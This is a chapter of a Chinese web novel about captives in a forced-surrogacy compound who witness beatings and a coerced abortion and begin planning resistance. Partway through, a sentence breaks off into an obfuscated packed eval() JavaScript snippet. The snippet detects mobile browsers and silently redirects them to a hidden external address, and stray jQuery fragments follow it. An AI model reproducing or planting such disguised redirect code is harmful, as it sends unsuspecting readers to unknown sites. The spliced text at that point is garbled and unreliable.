21. 同盟

作品:《我居然变成了女人?

    “头疼,不说这些了,让该想的那些人想去吧,咱们说的话,谁又会听呢?”


    赵淑惠打破凝滞的气氛,拿过遥控器,找了一个家喻户晓,暑期必播的电视连续剧,其他人都不说话,一时室内只有电视的声音。


    沉浸在电视剧中,时间飞速而过,很快,落锁的时间便到了,四人也很快洗簌完躺在床上入睡。


    “啊……疼……”


    三人被赵淑惠的呻吟声响起,她抱着肚子喊疼,却闭着眼睛,好像还沉浸在睡梦中。


    “惠姐,醒醒。”钱三喜将她推醒。


    赵淑惠迷蒙睁开眼睛,发现自己真的在肚子疼,她还以为是在做梦呢,她往身下一看,发现已经流出羊水。


    “我要生了。”


    张思丽一听,便按响了室内的紧急报警按钮,这个按钮连通着值班室,会有人来查看她们的。


    很快便有人来到她们宿舍,看到赵淑惠快要生了,紧急安排起来,找了个轮椅推着赵淑惠下楼,赵淑惠在轮椅上时不时难以忍受地痛吟。


    岳金裙听到左侧楼里传出喧闹的声音,她趁着宿舍门还没被锁上,朝楼道里走去,想听得更清楚一些。


    看到左侧楼里有几个人推着一张床出来,床上被绑着一个腹部高高隆起的女人:


    “我不是疯子,我不要生孩子。”


    “是你们把我绑来的,救命啊。”


    仅传出清晰的两句话,很快声音便消失,不知道是晕过去还是嘴被塞住了。


    这几栋楼里一片寂静,仿佛谁都没听到动静。


    紧随其后从左边楼里冲出来一个女人,跑动间,可见腹部隆起,直往园区门口冲去。


    “救命啊,我要出去,我不要在这里。”


    很快声音被淹没在拳脚踢打声、咒骂声和痛苦的呻吟声中,不一会儿两个保安拖着这个女人回来,身后延伸出一道血迹。


    岳金裙看着这一切,浑身的血被冻住一般,仿若在地狱中。


    “看吧,逃不出去的。”


    张思丽突然出声,将岳金裙吓得一抖。


    “他们怎么敢这么大胆?这些人明显不是自愿的,也敢弄进来,这不就是强迫、拐卖吗?他们把人当人,还是当畜生?”


    岳金裙说话的时候牙齿都在控制不住地打颤。


    “我们在他们眼里,不是人,只是商品。我们是想要钱,而这些人多是流浪汉、精神病,没什么家人,这些人只要永远都出不去,就永远不会泄密。


    而我们这些能出去的人,不知道地址,干的也是违法的事,又看到他们的无法无天,更是不敢随便乱说。”


    张思丽面上带着一丝麻木,仿若在她短短的人生中,对这些罪恶,已经习以为常。


    “快回来睡觉吧,待会值班室的人看到楼道里站着人,会来检查的。”张思丽说完,率先进了房间。


    “五楼谁还在楼道,赶紧回宿舍。”有声音厉声催促。


    岳金裙也紧跟着张思丽回了宿舍,


    “惠姐还会回来吗?”


    “生了孩子拿了钱就会走了,不会再回宿舍,赶紧睡吧。”张思丽说完就盖好被子,不一会就传出均匀的呼吸声。


    岳金裙却辗转难眠,她以往只在网上、电视里看到罪恶,以为这些离她很远很远,没想到却亲历其中,成为了其中的一名受害者。


    她以前看到的时候,还会想怎么不反抗,要怎样怎样反抗,但是她亲历其中的时候,在绝对的力量面前,却势单力薄,反抗有如飞蛾扑火。


    她不像小说里,没有异能、没有系统、没有一点点金手指。


    她目之所及的三栋楼里,装着男人、女人、精神病、正常人,有自愿的,有被迫的,全被监视和控制着,有着不同的利益关系,难以交流沟通,难以拧成一股绳。


    她目前只能像个摄像机一样,将这一切记录在眼底,她还能做什么呢?


    三人如常起床吃早饭,还未到9点,赵医生又来到她们宿舍门前。


    “岳金裙、钱三喜,跟我走。”


    二人顺从地跟着赵医生到另一栋楼里,赵医生将岳金裙带到昨天去过的屋子,又开始调试注射器,让钱三喜进了另一个屋子。


    “你们说什么?让我打胎?我都怀了快6个月了。”


    等岳金裙顺从地打完针出来,在楼道里听到了钱三喜的崩溃叫声。


    “钱三喜怎么了?为什么让她打胎?”岳金裙向钱三喜所在的屋子走去。


    赵医生一把拽住她,“你不能去,不要多管闲事。”


    “为什么让她打胎?”岳金裙不动,执拗地直视着赵医生的眼睛。


    “因为客户不要她的孩子了。”赵医生冷漠地移开视线,拽着岳金裙回了宿舍。


    张思丽还在宿舍等着岳金裙,见到赵医生,笑意盈盈地忙打招呼。


    “谢谢赵医生把金裙送回来,钱三喜还没回来吗?”


    “让她跟你说吧,我还有事要忙,先走了。”


    赵医生似是不想与她们多作接触,快速回了一句,便离开了。


    “钱三喜被打胎了,说是客户不要孩子了。”


    “那她可能也不回来了,这宿舍就我们两个人了。”


    “她们真能出去吗?”


    “能啊,我上次就出去了,我听说,就算是左边楼里那些疯子,生不动了也会放出去的。”张思丽轻生对岳金裙耳语。


    “别皱着眉了,这种事见多了就习惯了,我们本来就是怀孕的时候才聚在一起的,等生完孩子就散了。我们下去吧,昨天你不是和王福约好了吗?”


    岳金裙和张思丽来到昨天的假山旁,见到了等在原地的王福。


    “你们怎么现在才来?”王福等得早就不耐烦了。


    “往里走,别让监控注意到我们。”岳金裙带着两人往假山里面走。


    “王福,你昨天在山上撞了那么久,都没把孩子撞掉吗?”


    岳金裙因为王福身上的东西如同外置内脏一样,让人毛骨悚然,所以并不敢上手摸,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730159|157260||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    今天又见到了王福,又想到这个问题。


    一个怀孕的普通女人,如果全力用肚子撞石头,都是有可能撞坏的。


    “这个玩意不算特别硬,但是特别韧,抠不掉、打不掉、撞不掉,太用力了,我自己都会疼,跟长在了我身上似的。昨天我是发了狠劲想弄掉的,还没有弄掉。”


    王福掀开衣服,也十分懊恼。


    岳金裙又看到了这个外置子宫,仍是不舒服,仿若一个趴在王福身上的寄生虫,如同看到海龟体表的藤壶,让人非常想把它弄下来。


    岳金裙伸出手戳了戳,表皮十分柔韧,还带着点温度。


    里面的胎儿静静悬浮着,不过一根手指大小,已经初具人形。


    “王福,我认为,我们应该团结起来,我不方便接触你们那栋楼的男人,需要你找他们了解情况。


    我找我这栋楼的女人了解情况,找和你一样不是自愿来的,团结起来,我们找机会一起反抗,离开这里。”岳金裙看着王福说道,又看向张思丽。


    “怎么反抗?我昨天看新闻,好像在说代孕快要合法化了,这特么都要合法了,我们还怎么反抗啊?”


    “就算代孕合法,也是女人代孕合法,男人代孕也会合法吗?代孕合法也是自愿的合法,一定有限制的,像咱们这种被强迫的,非自愿的,也是合法的吗?我们找证据,总有一天会出去将罪恶公之于众。”


    “对,这里干的恶心事肯定不止一种。我们要搞清楚他们在干什么。”张思丽也应和道。


    岳金裙看向她。


    “我也不想一辈子做代孕,要是真的代孕合法化了,我就得被我妈,我弟弟,我未来的丈夫、我儿子,逼着做一辈子代孕了。”张思丽想得很清楚,代孕不能合法化。


    现在还没有合法,像赵淑惠、钱三喜已经不得不来做代孕,若是合法化了,那她张思丽,做代孕就不能为了吃喝玩乐,得是为了全家人合法做代孕。


    “我们每天上午来这里遛圈活动,如果有事要说,就进来说,没事的话,就在外面见一面就行,不用说话。”


    “好,我先出去,你们待会再出来吧。”


    王福以前还是很喜欢看一些谍战剧的,四处张望了下,快速走到大道上。


    “思丽,谢谢你跟我站在一起,你不说出去,就是对我最好的保护。”


    岳金裙握住张思丽的手,张思丽是最开始对她释放善意的人,如今还愿意站在她这一边,她非常感激。


    “不用感谢我,我们都是女人,应该互帮互助。”张思丽对岳金裙一笑。


    张思丽毕竟比岳金裙来的时间早,又带着岳金裙去了超市、棋牌室、游戏厅,里面人来人往。


    四周每隔一段距离,便有安保伫立,在里面购物或玩乐的每个人都是玩自己的,纵使在棋牌室,谈论的也都是关于玩乐的内容。


    “我们回去吧。”岳金裙不是个长袖善舞的人,在这样遍布电子监控和人肉监控的情况下,她也不敢在这样人多的地方去拉拢人。